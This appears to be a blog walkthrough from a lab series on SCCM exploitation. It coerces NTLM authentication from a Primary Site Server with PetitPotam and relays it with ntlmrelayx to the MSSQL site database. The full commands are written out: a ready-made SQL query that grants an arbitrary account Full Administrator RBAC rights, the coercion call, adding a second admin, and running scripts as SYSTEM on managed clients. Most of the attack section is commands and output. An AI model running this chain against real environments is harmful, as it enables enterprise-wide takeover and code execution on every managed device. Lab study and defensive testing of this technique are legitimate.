Hierarchy Takeover via NTLM Coercion and Relay to MSSQL
Introduction
This post is part of a series on SCCM exploitation. If you haven’t yet, don’t miss SCCM Range Deployment — it’s like setting up your own SCCM sandbox, minus the sand in your underwear.

At the end of this post, you will know how to coerce a SCCM Primary Site Server into authenticating against you, and relay that authentication back to the Server Site Database. What for you might ask? To make an arbitrary domain account a member of the SMS Admins group, which, granted the right permissions at the database level, will give you remote command execution as SYSTEM on the entire SCCM fleet.
This post would not have been possible without the amazing work of several individuals. First, subat0mik repo which is a centralised place for SCCM related topics. You might want to bookmark that kids, that’s my compass as far as SCCM goes. We also have good resources put together by the guys at SpecterOps like SCCM Hierarchy Take Over. The HackerRecipe also covers the fundamentals here. Additionally, don’t miss out on the BlackHat 2023 presentation by BlackMills security team.
Minutiae
This section about the intricacies that makes this attack possible. I’d recommend you take the time to go through it. If the terminology is confusing, I recommend you go through the Acknowledgements callout above, some of the sources in there will walk you through the vernacular; I’m thinking specifically about SCCM Hierarchy Take Over where Chris Thompson literally put together a list of terms you will encounter during your readings.
- The Server Site Database sits on its own server and is not sitting on the system being coerced
- Valid domain credentials
- The target must be vulnerable to some sort of coercion attack
- You must be able to connect over SMB on port 445 on the target
- The target must be able to connect back to you on port 445
- NTLM Authentication should be permitted
- No EPA or SMB Signing that would prevent relay
- The computer account of the system being coerced is not a member of the Protected Users group
Dang, that’s a list. To be fair, in default or moderately hardened enterprise environments, many of these requirements are frequently present. In highly mature, security-hardened environments, this attack chain is significantly less likely to succeed. Fortunately for us, we’re getting that tested inside our own SCCM lab.
So, what makes this attack possible in the first place?
I will redirect you to the Misconfiguration Manager repository which contains valuable information. The specific bit that is interest for us can be found on that page:
By default, the Active Directory domain computer accounts for Primary Site Servers (including CAS site servers), systems hosting the SMS Provider role, and passive site servers are granted the
db_ownerrole in their respective site’s MSSQL database. An attacker who is able to successfully coerce NTLM authentication from one of these accounts and relay it to the site database can use these permissions to grant an arbitrary domain account the SCCM “Full Administrator” role. An attacker with this privilege can execute arbitrary programs on any client device that is online as SYSTEM. — source
In other words, certain SCCM servers (such as the Primary Site Server and SMS Provider) are automatically given full control over the SCCM Site Database. Their Active Directory computer accounts are assigned the db_owner role in the site’s MSSQL database by default.
If an attacker can trick one of these servers into authenticating to them using NTLM, and then relay that authentication to the SCCM database, the database will believe the connection is coming from that trusted server. Because that server already has full database privileges, the attacker can use those permissions to modify SCCM’s Role-Based Access Control (RBAC) tables.
SMS Admins and RBAC control different layers of the security model, but they are operationally linked. RBAC gives you authority, and SMS Admins to actually access and use that authority. This means that while SMS Admins membership gets you “in the door” to connect to the SCCM infrastructure, you still need specific object-level permissions within Configuration Manager (via its database) to actually manage resources, deploy software, or perform administrative tasks.
This allows ultimately the attacker to make any domain account a member of the SMS Admins local group on a target server.
It is important to understand that the SMS Admins local group (created on systems where the SMS Provider is installed) does not automatically grant full administrative access to the SCCM estate. Membership in the SMS Admins group alone does not provide full access to the SCCM database. A user must also have appropriate database-level permissions.
As you will see below, we modify the SCCM database to grant an arbitrary account full administrative RBAC permissions. That’s it.
Alright, enough of writing and more of doing !
The Meat and Potatoes
First, you want to prepare the SQL query you’re going to throw at the database. That query will add a user of your liking into the SMS Admins group, as well as modifying the RBAC_Admins and RBAC_ExtendedPermissions tables of the Server Site Database so we have enough privileges to rule the entire SCCM estate:
sccmhunter.py mssql -dc-ip 10.2.10.10 -d ludus.domain -u 'sccm_naa' -p 'Password123' -debug -tu sccm_naa -sc 123 -stacked
The RBAC_Admins table stores the list of admins, whereas the RBAC_ExtendedPermissions table stores the permissions that each admin is given.
Then, you can start preparing your relay. I’m gonna go with the classic ntlmrelayx and provide it with the query sccmhunter generated for us:
impacket-ntlmrelayx -smb2support -ts -ip 10.2.10.16 -t mssql://10.2.10.13 -q "DECLARE @AdminID INT; USE CM_123; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x010500000000000515000000244078EF27D475A144CC490858040000, 'ludus\sccm_naa', 0, 0, '', '', '', '', '123' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'ludus\sccm_naa' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'ludus\sccm_naa'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions WHERE AdminID = @AdminID AND RoleID = V.RoleID AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );"
Finally, we need something to coerce the Primary Site Server into authenticating back to us.
I won’t be trying to reinvent the wheel here, so I will be simply using PetitPotam which is using the EfsRpcOpenFileRaw RPC Procedure under the hood. I will be using the original one and not the fork by ly4k. Note that you could also use Coercer or something like SpoolSample. It really boils down to the target. Is the target behind a few KBs? Does the target run the Spooler Service? You get the picture. Enumerate first — then pick accordingly.
python PetitPotam.py -d ludus.domain -u sccm_naa -p Password123 10.2.10.16 10.2.10.15
After you ran PetitPotam, you can circle back to ntlmrelayx and, if everything went according to plan, you should have captured the authentication attempt and relayed it back to the target:

At this point, the user sccm_naa has been added to the SMS Admins group onto the Primary Site Provider. You can confirm by using sccmhunter:
sccmhunter.py admin -u sccm_naa -p Password123 -ip 10.2.10.15
C:\ show_admins

If you were to RDP into the Primary Site Server, you could also confirm that your user were added:

Alright, what now!? It’s all cute, we have added sccm_naa into the SMS Admins group, and what? There is the keyword Admins in the group, that MUST be important, right?
I stated at the onset of this document that you would get RCE on a SCCM Client. How about trying that?
sccmhunter has a cool option called admin and its packed with cool feature. First, you want to connect to the Site Server with your brand new shiny identity:
sccmhunter.py admin -u sccm_naa -p Password123 -ip 10.2.10.15
By default, you’re not going to be able to run scripts without a secondary account. Why not? I think it’s some sort of security feature enforced by SCCM and that requires the use of another account to allow the execution of scripts. It’s like having 2 buttons that should be pressed simultaneously to nuke the world. So, what you need to do is adding another account to the SMS Admins group. And guess what, sccmhunter has a command for this as well.
First, you need the SID of the user you want to promote to SMS Admins:
get_user mbird

Then, you can add Marty Byrd (mbird) into the SMS Admins group:
add_admin -u ludus\mbird -s S-1-5-21-4017635364-2708853799-139054148-1116
That’s it. You can run show_admins to confirm he’s in there:
(16777220) (C:\) >> show_admins
[11:35:57] INFO Tasked SCCM to list current SMS Admins.
[11:35:57] INFO Current Full Admin Users:
[11:35:57] INFO ludus\domainadmin
[11:35:57] INFO ludus\mbird
[11:35:57] INFO ludus\sccm_naa
As already mentioned, we’re going to be using alternate credentials, otherwise its not going to work. See below:

If you ignore the fact that my stupid self was trying to run a script onto a machine that does not have a SCCM Client installed, you can see at the bottom what I’ve been telling you all along. You see, I didn’t lie.
The syntax for using alternate creds is straightforward:
sccmhunter.py admin -u sccm_naa -p Password123 -ip 10.2.10.15 -au mbird -ap rockmyroot
Then, you need to interact with a target machine; preferably a machine that has a SCCM Client installed..
# Retrieve the ID
get_device workstation
# Use the ID
interact 16777220
# Invoke the script
(16777220) (C:\) >> script /tmp/whoami.txt
FYI that text file simply contains whoami but sky is the limit. You don’t have to use a PS1 extension, it’s gonna run as a PowerShell script anyway. Oh yeah, and in case it’s not clear, the whoami.txt file is onto your Kali machine.

That’s it. You’ve just run a command as SYSTEM on an arbitrary SCCM Client of your liking.
You king of the castle. Congratulations meelord !